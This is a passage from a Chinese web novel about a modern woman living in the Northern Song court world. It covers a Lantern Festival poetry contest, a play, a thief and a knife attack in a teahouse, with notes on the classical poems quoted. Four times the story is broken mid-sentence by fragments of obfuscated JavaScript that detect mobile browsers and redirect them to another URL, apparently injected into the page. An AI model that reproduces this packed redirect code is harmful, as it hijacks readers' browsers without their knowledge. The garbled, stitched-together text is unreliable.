l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620275|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 丁芷看看左边的兔子,又看看右边的狐狸,纠结道:“小娘子觉得哪个好看?” 路漓笑了笑:“都好看,两个都要了,一个带回去给丁兰。” 付完钱后,丁芷美滋滋地戴上兔子面具。转头见到她的模样,路漓忍俊不禁道:“你一身男子装束,似乎与这玉兔妆面有些不搭吧?” 丁芷摆了摆手,玩笑道:“没法子呀,我得把狐狸留给丁兰呀!” 路漓噗嗤一笑:“还是你想得周到,我差点忘了呢!” 两人嬉笑着来到月满楼前,路漓对丁芷道:“走吧,咱们去拜访一下狐狸郎君的茶坊。” 桌前,邓沅正吃着糕点,见到玉兔少郎摘下面具,连忙拍了拍身旁:“小郎君,快看那边!她不是路小娘子的近侍吗!” 章桓顺着望过去,辨认一番后,深邃的眸子里多了几分欣喜,随即抿茶道:“她扮成这样你还认得出来,眼力不错。” 邓沅挠了挠后脑勺:“嘿嘿,凑巧、凑巧而已。” 胡礼未走出来,声音洪亮道:“各位茶客,今日上元佳节,小馆特准备了一个游戏,最终取胜者,本桌茶钱全免!” 满座欢呼道:“好!!!” 胡礼未抬了抬手:“游戏共分三轮,每轮限半盏茶的时间,在规定时间内,累计答出最多者即为获胜,答错不计数。仅需在此罐中投入三文钱,便可参与游戏。每位参与者,都有机会享受茶钱全免的待遇!此次游戏自行参与,不做强求!” 在场不乏文人墨客,大家纷纷前去投钱,节庆大促果真是贯穿古今的好手段。 “丁芷,我也要参加。” 丁芷投完钱后,转身正好碰上邓沅,她毫不客气地朝对面丢了个白眼。邓沅迷茫地眨巴了几下眼睛,自己好像没有得罪过她吧? 回到座位上,丁芷与路漓耳语了一番,那顶帷帽缓缓变了些方向,随后又转了回去。 胡礼未鸣锣道:“第一轮乃是‘嵌字接句’,正好数日前下过一场大雪,我们便以雪为题,轮流答出含有‘雪’字的七言诗句。第一人需将雪嵌入首字,后一人则将雪嵌入第二字,以此类推。当雪为第七字时,本轮游戏结束。” 胡礼未续道:“就由我来提第一句:雪上空留马行处。” 脑中忽然浮现了一部古装剧里的情节,路漓朱唇轻启:“雨雪纷纷连大漠。” 章桓移开目光道:“燕山雪花大如席。” 茶客甲:“悲吟雨雪动林木。” 一时半会,还真有些想不出来。茶坊默了片刻后,一声音从门口传来:“北风吹雁雪纷纷。” --------------------------------------- (古文小课堂: “雪上空留马行处。”出自唐代岑参的《白雪歌送武判官归京》。 “雨雪纷纷连大漠。”出自唐代李颀的《古从军行》。 “燕山雪花大如席。”出自唐代李白的《北风行》。 “悲吟雨雪动林木。”出自唐代李白的《留别于十一兄逖裴十三游塞垣》。 “北风吹雁雪纷纷。”出自唐代高适的《别董大二首》。 注:“满树玉瓣多傲然,江南烟雨却痴缠”选自许嵩的《山水之间》。) 8. 花市灯如昼(2) 黄杨径直走到前头,投了三文钱道:“不知我现在参与,可还来得及?” “来得及,来得及!好诗不怕晚!”胡礼未摆手道:“郎君请那边落座。” 路漓侧头道:“这胡礼未倒是很会打圆场,三言两语便化解了迟来者的尴尬,不愧是狐狸呀。”丁芷赞同地点了点头。 黄杨眼神转了一圈,走过来叉手道:“叨扰了,不知我可否坐在这儿?” 路漓道:“可以啊。” 他坐下后,路漓撇了撇嘴:“你是第一天认识我啊?装什么客套呢?”黄杨笑而不语。 不远处,章桓眼神一滞,手中茶杯不自觉攥紧了些。 胡礼未摇铃道:“时间快到了,可还有人要接吗?” 茶友乙:“潇湘洞庭白雪中!” 身后出声道:“朝如青丝暮成雪。”不知怎的,路漓觉得他的声音,好像去北极兜了一圈似的。 “第一轮结束!接下来是‘填字作诗’,需根据我提的前两字进行续写,仅限五言诗体。我提的是:去年、今日、月圆、人间。”胡礼未敲锣道:“在座,请填后三字。” 看着雅士们埋头苦思的模样,路漓灵光一现,起身拱手道:“不才陋作如下:去年凿壁郎,今日染墨香。月圆花好时,人间提金榜。” 此诗不知说中了多少文人的心思,在场茶客高呼雀跃,无一不鼓掌叫好。路漓神态自若地坐下,青纱下的浅笑若隐若现。 章桓眼里满是柔情,好像每每她在跟前时,自己总是不由自主地想关注她,甚至忍不住想在她面前卖弄一番。感觉整颗心,都被她的一颦一笑所牵动... 章桓修手微握,深吸了口气道:“适才那位小娘子,道出了书生得意,我想延续一下她的故事。我的诗作如下:去年梅影疏,今日抱香故。月圆重对酒,人间有卿晤。” 帷帽下,她的一双桃花眼添了些绚烂。 一旁,黄杨翻了翻自己的眼白,而后端出笑容道:“这书生可谓是人逢喜事,春风得意。只可惜啊!有时候,好花未必就能结好果。我的续写是这样的:去年穷寇追,今日富余味。月圆骑竹马,人间结青梅。” 说到最后两个字的时候,黄杨往章桓那瞥了一眼,章桓神色未改,双眸闪过一瞬凌厉。 火药味渐渐在空中弥漫,胡礼未敏锐地察觉后,随即开口道:“时间到!三位的诗作不分伯仲,想那诗中书生,在尝遍酸甜苦辣后,必有一番新的体悟。” 他思考片刻道:“最后一轮是‘连字做对’,我提的上联是:书生人生,庄生梦生,梦圆时,梦醒乎?”一声锣响:“请各位作答。” 北宋不愧为文学大朝,大家做起学问简直是手到擒来,路漓惜叹一声,别的环节,她或许还能耍耍小聪明,这做对子可真有些难为她这个现代人了。 黄杨方欲开口,一声冷音截道:“缘路长路,情路行路,行远处,行归矣。” 他的诗作和对子似乎都有弦外之音,听得路漓莫名乱了心跳。 “此乃绝对呀!”胡礼未击锣道:“三轮结束!获胜者便是...诶人呢?” 回头看见桌面上留了数枚钱币,而座位已是空空如也。路漓转头道:“黄杨,我突然想起来还有事要办,先走一步了。” 黄杨注视着她,随后垂下目光道:“慢走。” 匆匆走到门外,路漓脚步一顿。方才不过是文字游戏罢了,他又没有说什么,自己就这样凑上去,岂不唐突? 丁芷出声道:“小娘子,你不追了吗?” 追?原来在他人视角中,自己是追着他跑出来的?怎么如此把持不住...路漓囫囵道:“你说到哪儿去了,我是觉得茶坊有些闷,想出来透透气罢了。” 丁芷歪着脑袋:“是——吗?” “嘡——”听到前头光亮处的敲锣声,路漓拉着丁芷来到跟前,只见立牌上写着三个字:“定婚店?” 把门的瞧了一眼两人衣服的做工,立马笑脸相迎道:“这是咱们戏班新排的杂剧,前排只需二十四文一人!小娘子若有兴趣,两人算你四十五文。” 路漓爽快地将钱投入竹筒,迫不及待向围绳内走去。步履间,好像踩到了谁的脚,路漓忙道:“对不起啊!” “无事。”一声熟悉的嗓音淡淡响起,侧仰看了一眼身旁的冠玉少郎,路漓的心跳又莫名地快了几拍。 “咚咚锵!”三声锣鼓齐鸣,路漓随即回首向前。台上一书生扮相的人从幕后走出来,长叹道:“嗟乎!予少孤,思早娶妇,可奈何!多歧求婚无成遂!敢问青天老爷,良缘何在?” “哆哆哆...”一阵竹仗敲地声,那红衣白须的老者走上前道:“世间姻缘,天命主之。老夫手中书,可掌天下婚牍。老夫囊中缎,可结佳遇良缘!台下诸人,可接好!”话音刚落,月老从口袋里掏出一把红色绸带往前抛去。 霎时间,空中红绸四散飘飞。 头顶那根红绸带越飘越近,路漓满心喜悦地伸出手,抓住红绸的瞬间两只手背相触。微风轻拂,两朵粉霞悄悄爬上青纱下的玉面。 路漓双目一怔,红绸上的纤手不自觉地松了松。章桓平复了一下呼吸,将手中红绸递到纱幔前,见身旁人没有反应,遂温柔道:“君子不夺人所好。”他凝望着身旁女子,绸带上匀称的骨节有些收紧。 路漓移开视线,缓缓伸手握住红绸,欲放下手时,感觉绸带被一个力道拉着,顺着那端寻去,看到了他青筋微起的手背。 抬眸回望,那双瑞凤眼溢出似水柔情,路漓不禁迷失在他眼里的星河之中。 “呜哇!”台上传出一声啼哭,壮汉掉头连滚带爬地跑到幕后,盲婆抱着婴孩疾追未果。 望着台上走出来的旦角女,路漓想起了昨日刚背过的一首唐诗:“天命有定端...究竟是孽缘,还是良缘呢?” 章桓眼神微动:“你可信命?” “信。有时候,甚至不知道该不该认命。” 章桓眸光深不见底:“万物兴歇皆自然,或许有些事,终究难以被更改吧。” “人来世上只走一遭,且走且随心,剩下的,顺其自然吧。” 他仍旧目视前方,唇边含起淡淡的笑意。 “啊!你扯到我的面具了!”身侧传出一声轻嚷,邓沅扭头一看,手中的红绸不知何时与兔脸面具的绳带缠到了一起,他伸手道:“你别急,我这就解开!”鼓捣了半天,缠绕处反而越来越紧实。 丁芷无奈将面具摘下:“笨手笨脚的,还是我来吧。”费了一番巧劲后,总算将缠绕处解开了。丁芷将红绸团了团塞回给他,回接时,邓沅感觉掌心多了几分温热。握着红绸的手一僵,侧眸与他目光接触的刹那,丁芷忙抽回手道:“登徒子。” 邓沅满脸疑惑地指着自己:“我? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620276|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”丁芷没有回答,只是朝他又丢了一个威力相似的白眼。邓沅垂头苦思,自己好像真的没有得罪过她吧? “怪哉!” 台上,王女疑惑不已:“固郎何以知之?”韦生踱步道:“奇也,命也,殊不知所刺者乃固也!” 那对璧人四目相望,遂转圈相拥,引吭齐唱:“红绳系牵结良缘,天上人间会相见...” 掌声响起,月老在台中高声道:“先前下凡游历时,见凡间灯上之谜很是有趣。老夫这里也有一灯谜,想请诸位郎君娘子猜一猜。猜中者,老夫便将手中绣球相赠。”说罢,月老亮出四行诗句。 路漓抱胸自语道:“什么灯谜呀,根本是照搬李白的《古朗月行》嘛。” 章桓走近道:“你喜诵李太白的诗?” 路漓睫毛轻颤,有些磕巴道:“浪、浪漫。”由于纱幔的遮挡,章桓并未看清眼前人千变万化的表情,他顿了顿,疑问道:“浪...漫?” 感觉手肘被人撞了一下,丁芷低头时猛地发现腰间空荡荡的,惊呼道:“钱袋!”邓沅往人群里定睛道:“小贼休走!”两人穿过人流腾步追去。 路漓与章桓闻声也跟上了前面转角处的残影,周围灯火愈发零星。刚走了几步,路漓便感觉一边肩膀被扣住了。 “我看你往哪里跑!” 路漓强装镇定,忙从针囊内抽出两根银针。 身后忽起一声吃痛,丁芷倏地出手与其打斗了起来。 因掌力回撤,路漓往后踉跄了几步,遂被手肘上的臂力横拉了回去。纱幔掠过他的指间,一股清新的雪松香沁入了路漓的鼻腔。 身旁持续发出打斗声,两人你一招我一式的,谁也没让谁占去上风。 路漓见状忙道:“丁芷!诶,你们别打了!”见他们仍未停下,章桓翻身上前隔开两人:“邓沅,看清楚再动手!” 邓沅这才瞧清身旁人模样,连忙叉手道:“失礼失礼。” “站住!”丁芷眺望一眼后,纵身将那人的斗笠踢飞。邓沅疾步朝前使出了一招扫堂腿,那人身体骤倾,怀中钱袋与破斗笠一同落地。 丁芷叉着腰嚷道:“利用上元节的热闹行偷盗之事,简直人神共愤!”邓沅拾起钱袋掸了掸土,忍俊道:“别愤了,给你。” “多谢。”丁芷撇了撇嘴,小跑到小娘子身边。路漓打量着地上蜷缩的身子,宽肥的长衫上有两块补丁和几处新添的污损。见她往前走去,丁芷连忙跟上前道:“小娘子当心!” “无妨。”路漓将旁边参差的斗笠捡起,蹲下递给那人道:“你是初犯吧?” 他垂下头,斗笠上布满青筋的手略微收紧。路漓瞥了一眼他手上的茧子,道:“你是进京赶考的?你遇到麻烦了吗?” --------------------------------------- (古文小课堂: “潇湘洞庭白雪中。”出自唐代杜甫的《岁晏行》。 “朝如青丝暮成雪。”出自唐代李白的《将进酒》。 “天命有定端。”出自唐代李白的《空城雀》。 注:文中的杂剧《定婚店》改编自唐代李复言的《续玄怪录·定婚店》。故事大致讲述了:韦固某日偶遇掌管天下姻缘的月老,意外得知自己未来的妻子是一名三岁幼女,欲刺杀未果,后经曲折,两人终成眷属。) 9. 真情实感(1) 抬眼望了望几人的面相,他挣扎起身道:“不才济州人士,前日刚到东京城外便遭人抢了,无奈才出此下策。”他拱手道:“恳求官人与娘子饶我一命,不才,在此谢过了。” 官人娘子?路漓愣了一下,怎么听上去有点别扭?丁芷目露悔色:“你该不会...好几天没吃饭了吧?” 那人低头不答,抬眸时眼前多了两只钱袋。 邓沅与丁芷对视一眼,随即将钱袋往前递近了些。那人神色犹豫,并未接受。 “识时务者为俊杰,通机变者为英豪。这钱,乃是暂借与你的,你若有心,待到金榜题名之时,再行归还。”章桓将自身裘袍卸下道:“这袍子也借与你,多少能壮壮声势。” 僵持片刻,路漓见状道:“你还预备让他们举多久?我瞧他们手都酸了。” 闻言,那人缓缓伸出双手接过钱袋和裘袍,眼里饱含感激道:“诸位的大恩,王某定当报答!来日,再会!”他郑重其事地作了个揖后,转身离去。 四人欣慰相视,遂朝身后走去。 “去年凿壁郎,今日染墨香,月圆花好时,人间提金榜。”章桓唇边含笑:“但愿,王郎也能如你所言。” “明府好记性,不过......”路漓续道:“我还以为你会问我,为何不是立即将他抓起来。” “你似乎善察人心。” “人心最是复杂,谁又能看得透呢?何况我还隔着一层纱幔,自然比不过明府目光如炬。” 章桓会心一笑,两人背影愈发靠近。 邓沅揉了揉被扎的右手,小声道:“你是叫丁芷吧?真是好身手啊!”丁芷轻哼一声,没有接话。邓沅绕到她身旁道:“我究竟哪里得罪你了?从方才到现在,你就没给过我一个好脸色。” “你自己说呢?” “不明白...”忽然想到了什么,他恍然大悟道:“该不会是因为——那天晚上吧?” 心中怀疑得到了确认,丁芷没好气道:“所以那晚,你与你家郎君,确实鬼鬼祟祟地跟了我们一路咯?” 邓沅有些心虚道:“那...是误会!” “误会?那么那天呢?你俩等在主人屋外,对着小娘子围追堵截的。”丁芷扭脸道:“你说,你家那位登徒子究竟藏了什么心思?” “你怎么把话说得如此难听?我家知县才不是这种人呢!” 丁芷戏谑道:“他不是,那你是咯?” “我!”邓沅瞠目结舌。丁芷翻了翻眼,快步走到了小娘子身侧。 路漓莞尔道:“有劳章知县相送,我先回去了。” “你......” 脑中闪过他在现代跟自己告白的场景,路漓敛去眸中波光,回头道:“什么?” “...没什么,早点歇息。” 她眼中多了几分娇媚,匆匆将手心的物件塞给他道:“生辰快乐。” 章桓失神了一瞬,缓缓展开手后,一枚红绸绕折的五角星躺在掌间,望着眼前小跑的背影,他眸底似有浩瀚星辰。 “生辰...她竟知晓我的生辰...” 看着小郎君春风拂面的脸,邓沅幽幽出声道:“小郎君,你今夜可开心吗?” 章桓仰着下巴:“嗯。” 邓沅笑得有些不自然:“那我可要说一件,你可能会不太开心的事。” “何事?” 邓沅吞了吞口水:“路小娘子她,好像已经知晓你那夜跟踪她的事了...”章桓脸上掠过一阵暴风,差点没被自己给绊到。 “噗!” 路漓将杯中的水喷了个干净,惊愕道:“什么?!你问他啦?” 丁兰义愤填膺道:“瞧着章知县相貌堂堂的,没曾想竟是如此鬼祟之人!”丁芷气鼓鼓地点头道:“没错!” 看样子,他是要痛失两张人缘票了。不过他也真是的,这使得哪门子损招!虽说现在观察下来,这里所有人的性格,都或多或少有些小变动,但也不至于到变了态的程度吧?! 章桓听得有些无语:“她不过是试探你,你说那些乱七八糟的做什么?” “小郎君,男子汉大丈夫,敢做要敢当啊!”邓沅理直气壮道。 “当什么当?我都说了,我那不是尾随!我是...(不由自主?情不自禁?)”章桓有些烦躁地别过头:“罢了!” “好好好,不是就不是!”邓沅嘀咕道:“反正这事归根结底,还得看人家是怎么想的。”章桓心中乱作一团,眉头皱得更紧了。 桌前女子青丝半垂,秋瞳微滞,身旁的姐妹俩,各自把玩着手里的面具。 “哎。”路漓双手托着脑袋,默默在心里感叹自己的肤浅,明明想好,不了解之前绝不能动心的,怎的过了个上元节就缴械投降了?更何况,上次跟踪的事情他都还没有解释清楚呢!理智理智,一定要理智! 她放下手,眼波灵动道:“丁兰丁芷,你们可想听故事吗?”姐妹俩头点得跟打鼓似的。路漓便将《鲁公女》的故事稍作改编后,声情并茂地讲了出来,有时还真庆幸自己大一被调剂到了诗文社啊。 丁芷惊呼:“天哪!那后来呢?” “后来,女子带着记忆转世投到了一处人家,可是...”路漓顿了片刻:“书生却因连日高热失去了记忆,所以两人再次相遇时,女子认出了书生,而书生却不记得女子。” 丁兰失色道:“那要怎么办?!” 路漓道:“如果换作你,你会怎么办?” “奋起直追啊!”丁兰不假思索地回答道。 “可是他不记得你了,而且病愈之后,他的性格好像也有些改变,如此...也还是要追吗?” “当然要追!怎能辜负前世修来的缘分呢?倘若性子变化不大的话...”丁芷目光坚定道:“那就给他掰回来呗!” “掰回来?”路漓若有所思,喃喃道:“掰回来...” 这天夜里,不止一个人难以入眠。 几日后,科举省试盛大举行,满街都是奔走赶考的书生学子。 乔翊仍旧低调自谦,在信中只是将省试一笔带过,路漓也没有细问,毕竟她对这位学霸表兄的实力,是很有信心的。 晨间,路漓轻拭着琵琶,抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620277|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头道:“丁兰,你手里拿的什么?” 丁兰道:“这是黄大夫送来的药散和茶点。” “为什么?” “他说两次吃茶都被小娘子抢着做东,他心里很是过意不去,还请小娘子务必收下这些。” 路漓无奈一笑,继续低头擦拭。过了会儿,丁芷进到屋内,见路漓抱起琵琶,连忙道:“小娘子,不可以!” “怎么了?” 丁芷朝门外张望了一番,关门小声道:“房州的涪陵县公薨了。” 房州?好像在手机上刷到过,是谁被贬到那了来着...对了!赵廷美!路漓声音微紧:“你如何得知的?爹爹可知道了吗?” 丁芷轻声道:“方才我在转角碰上了邓沅,他说是刚接到的消息,估摸着午后张榜。眼下,宫内众人大抵也知晓了。” “他可还说了什么?” “他还说待官家得知后,必定会十分悲痛,叫我回来提醒小娘子,这几日万不可作乐高唱,以免被有心人借题发挥。” 路漓差点惊掉眼珠子,他会悲痛?!不就是他自己把这个亲弟弟赶尽杀绝的吗?猫哭老鼠... 丁兰玩味道:“没想到,‘他’懂得还挺多的嘛。”丁芷憋笑附和道:“就是呀,而且‘他’还考虑得如此周到。” 路漓自然晓得她们说的不是邓沅,移开视线道:“那、人不可貌相嘛!”丁芷煞有其事地点头道:“嗯!所以还要观察得久些,才能奋起直追!”丁兰捂嘴偷笑,路漓被她们打趣得耳后发热。 少倾,门外响起一声急唤,开门只见路万川神色匆匆走近道:“含英,你今日可有拨弦?” 眼前人乖巧摇了摇头,路万川顿时松了口气:“那便好,这几日你便先将那琵琶搁起来吧。” 路漓假装不解道:“为什么?” “你就别问那么多了。”路万川压低声音道:“总之,记着一句话:官家若是伤心,我等便不能开心,明白吗?” 她瞳底震动,木讷地点了点头。伴君如伴虎,每近一步,则须多一分谨慎。 路万川望向远处重叠的云层,似是感慨道:“有些事情,你现在还不太懂,或许将来你会明白,懂与不懂皆是无解。” 今日的爹爹,好像比平日里多了几分惆怅与不安。 “爹爹...” “爹爹无事。”他眼里格外明亮:“我家含英,会长成琼枝玉树的,爹爹一定会护好这亩花圃。” 路漓被他突如其来的煽情弄得鼻子发酸,转而玩笑道:“园圃里的花草,可不要一个动不动就头痛昏迷的花匠。” “好。”路万川慈笑着摸了摸她的脑袋,语气如同哄孩子一般。 --------------------------------------- (古文小课堂: “识时务者为俊杰,通机变者为英豪。”出自春秋时期晏婴的《晏子春秋》。 注:本文提及的《鲁公女》情节,改编节选自清代蒲松龄的《聊斋志异》,此故事讲述了书生张于旦与鲁公之女鬼魂的凄美爱情。) 10. 真情实感(2) 翌日,听闻圣上仍然哀恸不已,遂下诏辍朝五日,命宗亲与百官轮流前去哭丧,民间也被勒令暂停一切婚嫁乐事,几日后方才解禁。 一场大规模的“陪哭运动”后,赵炅下令追封赵廷美为涪王,谥号“悼”,依亲王仪制下葬。至此,这出超长哭戏,终于落幕。 原来,强权之下,人连喜怒哀乐都由不得自己。 赵廷美的死好像很沉重,重到举国同哀,赵廷美的死好像很轻飘,轻到无人关心。除了...赵元佐。 没记错的话,他就是因为赵廷美之死发疯的,所以次子才有了候补太子的机会,但没几年便离奇死亡了,皇位这才落到三子赵恒的头上。没想到,零零散散的碎片凑到一起,竟也拼出了冰山一角。 不知这些烂事,究竟会牵扯多少人?朝廷内部官官相连,说不准哪天就会被动陷入人际圈套,希望爹爹和姨丈未来不要站错队,否则... --------------------------------------- “天羽,此番考得不错,下月中旬就是殿试,你可得好好努力,莫要懈怠了。” 乔翊神采飞扬:“爹爹放心。” “上次你去路宅,可有寻机会跟含英聊聊吗?” 乔翊眸色微变,略带犹豫地点了下头。乔文远含笑道:“也该挑个好日子,向路家...” “爹爹!”乔翊出声打断道:“时间仓促,眼下除了殿试,我无暇兼顾其它。” 乔文远打趣道:“你无需刻意装腔,你的心意我岂会不晓得?” 耳边又回响起了她的那番话,乔翊微微蹙眉:“此事,还是容后再议吧,我先回屋温书了。” “怎么了这是?”乔文远疑惑地看向身旁:“意欢,先前你去探望含英的时候,与那二位谈过吗?” 江意欢没好气道:“别提了,上回我去的时候,含英还昏迷着,他们见了我,就一个劲的给我脸色看。” 乔文远一副看透的眼神:“得了吧,你会甘心吃瘪?我看,你别给人家脸色瞧就不错了。” “那我怎么忍得住啊?你是没瞧见那沈玉玟,真是柔眉顺眼,和善可亲!难怪把路万川收得服服帖帖的,我真是见了就来气!” 乔文远失笑道:“你瞧你,路家的事,至于如此动气吗?” “自打父亲离世,长姊便与众人断了音讯。五年了,他心中可有过半分担心吗?”江意欢气不打一处来道:“真是个黑了心的家伙!” 乔文远严肃轻斥:“话说到这里就行了!就算在自己家里,也要慎言!” “哼!我都怕他们会把含英带歪。” “这点你大可放心,万川与我相交数年,他的为人我信得过。”瞧见他拍着胸脯的模样,江意欢双目微嗔道:“你们是一丘之貉!” 乔文远熟练地哄慰道:“好了娘子,你在此处骂得再大声,人家两位也听不着,你还是省些力气吧。” “我这就过去!”见她起身,乔文远喊道:“你做什么去?!” 江意欢撇了撇嘴,语气稍有缓和道:“我过去看看你的药熬好了没有。”乔文远忍俊呢喃:“姊妹两个,一个像寒风,一个像火药。” “嘀咕什么呢——” 乔文远连忙道:“药——太苦了,记着拿些蜜饯。”江意欢转身道:“还用你说!早就备好了。” 没一会儿,桌上便摆了一壶茶和几道蜜饯点心。 路漓尝了口桌上的蜜饯,打量四周,茶客们谈笑如常,仿佛期间并未发生过任何事情。 正回味着嘴里的滋味,突然感觉背后一阵凉意袭来,只见门口那人面色沉沉,一身穿着配饰很是考究,倒是平添了几分阴冷,他在邻桌坐下后,路漓只觉空气骤降十度。 胡礼未打量了一番,走近问询道:“叨扰了,郎君想吃些什么?喝些什么?” “可有玫瑰酥饼?” 胡礼未赔笑道:“这...眼下还未到玫瑰花季,郎君可愿试试小馆新制的三果酥?” 他眼神呆滞,复问道:“没有玫瑰酥饼吗?”胡礼未眉头微蹙道:“没有。” 那人呆滞的双眼逐渐聚焦,骤地从桌下掏出匕首。“嗤!”手起刀落,胡礼未的小臂已被划出一条狭长的口子。 “呃啊!”胡礼未向后趔趄了几步,鲜、血渗出指缝顺流而下。丁兰丁芷连忙将路漓护在身后,带离桌边。一时之间,茶客们四处逃窜,纷纷涌向门口。 “连叔父平日最喜食的茶点都没有备下,你们简直放肆!” 叔父......?糟了!路漓轻声道:“丁芷,快到县衙寻章知县,就说...就说赵氏在茶坊寻衅持刀,请他带人速来这里!”“喏!” 回头只见那人瞳孔放大,似想朝一旁冲去,胡礼未速从背后扣着他的双臂。许是因为双方力量过于悬殊,胡礼未的表情很是吃力。 路漓与丁兰耳语几句后,丁兰连忙翻身前去将胡礼未一把拉开,试图将那人手中的匕首夺下。胡礼未跌坐在柜前:“小心啊!!” “你们这群不义之徒!我杀了你们!”他出手极快,好几次险些划伤周围茶客,幸好都被丁兰及时阻止。路漓右手抚着针囊,紧张得浑身战栗。 二人步伐渐渐后移,丁兰以迅雷之势翻到他身后,那人向前挥刃之际,内关穴被人猛扎一针,酥麻感倏地传到指间,他不禁拳头一松,丁兰急忙将匕首踢回拾起。 他还没来得及再次出招,便被疾步赶来的丁芷与邓沅擒住了双手。 章桓嗓音微颤:“你可有受伤?” “我没事。”路漓惊魂未定地擦了擦掌心的冷汗,将那人手腕上的银针捻转拔出。 “哎呀!可算找到您了!” 一名小厮不紧不慢地走来,丁芷与路漓对视一眼,忙拍了拍邓沅的手。小厮确认其无恙后,转头放声道:“还不见过楚王殿下!” 众人齐刷刷跪倒,稽首道:“参见楚王殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636927|187848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “今日茶坊里没有发生过任何事,你们也没有见过任何人,还请诸位管好自己的嘴巴!” 众人齐声道:“喏!” 章桓示意捕快们护送二人出去,望着门外背影,他声音微沉道:“此人,不是楚王的人。” “同意,哪有发生这种事,不但不急着隐瞒,反而还暴露身份的。依我看,他多半是赵...”话未说完,路漓便被一只手掌捂住了嘴。 意识到刚刚差点说错话,她不自觉唇瓣微张,柔软的触感在掌心厮磨,章桓触电般弹开了手,两人眼中闪过无措,转而看向别处。 柜前,丁兰正用自己的绢巾帮胡礼未止血:“不得了,伤口好深,我看你还是去找大夫瞧瞧吧,这里我可以替你看一会。” 胡礼未转开目光,捂头道:“哎呀...定是方才失血过多,我头好晕啊!”丁兰扶住他:“你没事吧?我家小郎君针法很好,不如请他替你施一针?”胡礼未忙道:“不必劳烦!扶我去找黄杨上个药就行了。” “我?!”丁兰看向小娘子,见她微微点头,遂道:“好吧,上次你扶我回去,这次换我扶你。” 丁芷掩面偷笑,邓沅伸头望了望她看着的方向,凑近道:“你们姊妹感情很好吧?” 丁芷收回视线,伸手将一旁脑袋推开道:“你离远些,我不想与你说话。”邓沅眉头轻挑:“你家郎君能与我家知县说话,为何你不能与我说话?” “因为——你不安好心。”丁芷体面一笑,随即走到路漓身旁。邓沅挠了挠头跟上道:“这么明显吗?” 桌前,路漓将长凳翻正道:“哎,好不容易才出来一趟,竟然碰到这种烂事。” “不算太烂,幸亏你及时控住了局面,事情才没有发展得更糟。”章桓凝注着她:“不过,我很好奇,你何以知晓他的身份?” 路漓看向别处道:“额,小二!将我方才点的再上一份!”回眸对上章桓审视的眼神,她只好打太极道:“瞧他衣饰非富即贵,所以我瞎蒙的。” “哦,原来如此。” 瞧他神情似乎没有全然相信,不过这句确实是实话啊。 章桓仔细品了口茶,熟悉的味道在嘴里回甘,眼前不禁现出一家三口温馨的往昔。他眼波轻动,随即又恢复平静:“这茶,应该很合你的口味。” “也很合你的口味,不是吗?”她眸光潋滟,温柔了章桓的视线。 “小郎君,省试放榜了!”丁兰不知何时已坐在了身旁,路漓拿起茶杯猛灌了一口,道:“表兄考得如何?” “乔郎君喜夺榜首。” 路漓并不意外,既有百分之一的天赋,又肯付出百分之九十九的汗水,他的名次自然差不了。 邓沅低头掰着手指,活像个算卦的,引得丁芷好奇侧目。 章桓瞄了一眼对面,嘴角向下稍倾:“你还挺‘专一’的,每次来这,都会点同样的糕点。”说到某两个字的时候,他语气格外加重。 11. 东风回暖 “我喜欢呗...”路漓顿了顿,忽然神色端正道:“你一向都是这么暗中观察人吗?” 章桓内心虚晃一下,尴尬笑道:“许是当差当久了,有时会下意识做出一些习惯,章某给你赔不是。还有...上回的事,无意冒犯,还请路小郎君莫要见怪。” “你这声道歉,也隔得太久了些,我都快忘记上回是什么事了。”路漓眼中的笑意颇带玩味。 章桓眸色清澈:“这桌我请,以表歉意。”路漓并不买账:“东西是我点的,怎么好意思叫你做东呢。” 章桓思索片刻,凤眸生辉道:“这样吧,我同你讲一个秘密。”路漓瞬间来了兴趣:“什么秘密?” 章桓唇边扬起了一道好看的弧度:“是一个对于我来说,很重要的秘密,此处人多嘴杂,下回见面再告诉你。县衙还有事情要处理,我就先告辞了。”丁芷拍了一下旁边沉迷算卦的“术士”,邓沅回过神连忙跟上前去。 路漓嘟囔道:“神神秘秘的,搞什么...” 邓沅将炉内炭灰拨了拨:“哎,楚王殿下可真是给咱们出了个难题。” “难题不是他出的,今日那小厮摆明就是来煽风的,若非有路小娘子在,只怕这把火早已延烧全城了。” 邓沅停下手:“说到这路小娘子,她真是机敏过人,遇事沉着冷静,能够立马想出对策,还有她身旁的两姊妹,也都是个中好手,就是脾气大了点。” “不要随意臧否他人。” 